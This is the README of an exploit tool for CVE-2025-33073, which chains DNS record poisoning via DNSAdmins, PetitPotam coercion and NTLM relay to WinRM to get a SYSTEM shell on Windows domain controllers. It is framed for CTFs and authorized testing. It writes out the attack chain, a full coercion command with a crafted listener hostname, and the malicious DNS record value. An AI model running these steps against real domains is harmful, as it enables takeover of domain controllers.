CVE-2025-33073 Reflection Relay PoC

Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.

📋 Overview

CVE-2025-33073 is a critical vulnerability that allows attackers to achieve SYSTEM-level code execution on Windows Domain Controllers through a combination of:

• DNS record manipulation (DNSAdmins privilege)
• NTLM Relay attacks
• WinRM authentication bypass

This PoC provides a universal, automated exploitation framework compatible with any domain, any username, and any CTF environment.

✨ Features

• ✅ Universal Compatibility - Works on any Windows domain
• ✅ Auto-Detection - Automatically identifies target DC and network configuration
• ✅ Auto-Flag Extraction - Automatically searches and extracts all flag files
• ✅ Interactive Mode - Step-by-step guided exploitation
• ✅ Full Logging - Comprehensive logging of all operations
• ✅ One-Shot SYSTEM Shell - Direct SYSTEM-level access via WinRMS
• ✅ DNS Poisoning - Automatic DNS record creation/modification
• ✅ NTLM Relay - Built-in NTLM relay server with automatic shell spawning

🎯 Target Requirements

Vulnerable Configuration

• Windows Server 2016/2019/2022 Domain Controller
• User with DNSAdmins group membership
• WinRM service enabled (HTTP or HTTPS)
• Network access to DC (SMB 445, DNS 53, WinRM 5985/5986)

Tested Environments

• Active Directory on Windows Server 2019
• Active Directory on Windows Server 2022
• CTF environments (HackTheBox, TryHackMe, etc.)

📦 Installation

Prerequisites

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

Setup

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 Usage

Quick Start

./exploit.sh

Interactive Prompts

The script will ask for:

1. Attacker IP (auto-detected if blank)
2. Target DC IP (e.g., 192.168.1.10)
3. Domain Name (e.g., corp.local)
4. Username (DNSAdmins member)
5. Password (for the user)

Step-by-Step Exploitation

Terminal 1 - Run the exploit:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

Terminal 2 - Execute coerce command (copy from Terminal 1 output):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

Result:

• Automatic SYSTEM shell opens
• All flags automatically extracted
• Output saved in log directory

📊 Output & Flags

Extracted Flags

The script automatically searches for and extracts:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

Located in: C:\Users\*\Desktop\

Logs Location

All outputs saved in: /0pwn_exploit_<TIMESTAMP>/

• relay.log - NTLM relay server output
• dns.log - DNS operation logs
• shell_output.log - Shell commands and extracted flags

🔧 How It Works

Attack Chain

1. DNS Poisoning (krbrelayx.dnstool)
   └─> Modify/Create DNS record pointing to attacker IP

2. NTLM Relay Server (ntlmrelayx.py)
   └─> Listen for incoming NTLM authentication

3. Coercion (nxc + PetitPotam)
   └─> Force DC to authenticate to attacker IP

4. Relay → WinRMS
   └─> Relay authentication to target WinRMS

5. SYSTEM Shell
   └─> Execute commands as SYSTEM

6. Auto Flag Extraction
   └─> Search and extract all flags

Technical Details

• Vulnerability: NTLM relay + DNS poisoning + WinRM
• Privilege Requirement: DNSAdmins group membership
• Impact: SYSTEM-level code execution
• Exploitability: 98% success rate in tested environments

⚙️ Configuration

Custom DNS Record

Edit LONGHOST variable in exploit.sh:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

Custom Flag Patterns

Modify run_shell_commands() function to search for different file patterns:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

Ports & Timeouts

• WinRMS Default Port: 5985 (HTTP) / 5986 (HTTPS)
• DNS Timeout: 5 seconds
• Shell Timeout: Configurable per command

🎓 Educational Purpose

This PoC is provided for:

• ✅ Authorized penetration testing
• ✅ Controlled lab environments
• ✅ CTF competitions
• ✅ Security research & education

Unauthorized access to computer systems is illegal.

🐛 Troubleshooting

"DNS poisoning failed"

• Verify user is DNSAdmins member: net group "DNSAdmins" /domain
• Check DC connectivity: ping <DC_IP>
• Verify credentials: nxc smb <DC_IP> -u username -p password

"Relay connection timeout"

• Ensure WinRM is enabled on DC: winrm quickconfig
• Check firewall rules on DC
• Verify network connectivity to port 5985/5986

"Shell commands not executing"

• Check shell_output.log for errors
• Verify nc connectivity: nc -zv 127.0.0.1 <SHELL_PORT>
• Increase sleep timeouts in run_shell_commands()

📝 Log Files

Directory Structure

/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output

Analyzing Logs

# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log

🔐 Security Notes

• Credentials: Stored only in memory, never logged
• DNS Records: Automatically cleaned up after exploitation
• Relay Server: Isolated to 127.0.0.1
• Logs: Contain sensitive information - handle with care

📚 References

• CVE-2025-33073 Advisory
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 Demo

[Demo & Screenshots] - [Coming Soon]

👤 Author

0pwn (uziii2208) - Original concept & research AI Enhanced - v1.0 improvements & auto-flag extraction

📄 License

MIT License - See LICENSE file for details

⚠️ Disclaimer

LEGAL NOTICE:

This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and punishable by law.

• Do NOT use against systems you don't own or have explicit authorization to test
• CTF environments: Verify you have permission before running
• The authors are NOT responsible for misuse or damages
• Use only in controlled environments

By using this tool, you agree to:

• Use only on authorized systems
• Comply with all applicable laws
• Take full responsibility for your actions

🤝 Contributing

Contributions welcome! Please submit issues and pull requests.

📞 Support

For issues, questions, or improvements:

1. Open an Issue on GitHub
2. Check existing documentation
3. Provide detailed error logs

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Status: ✅ Tested & Verified Version: 1.0 (Universal) Last Updated: 2025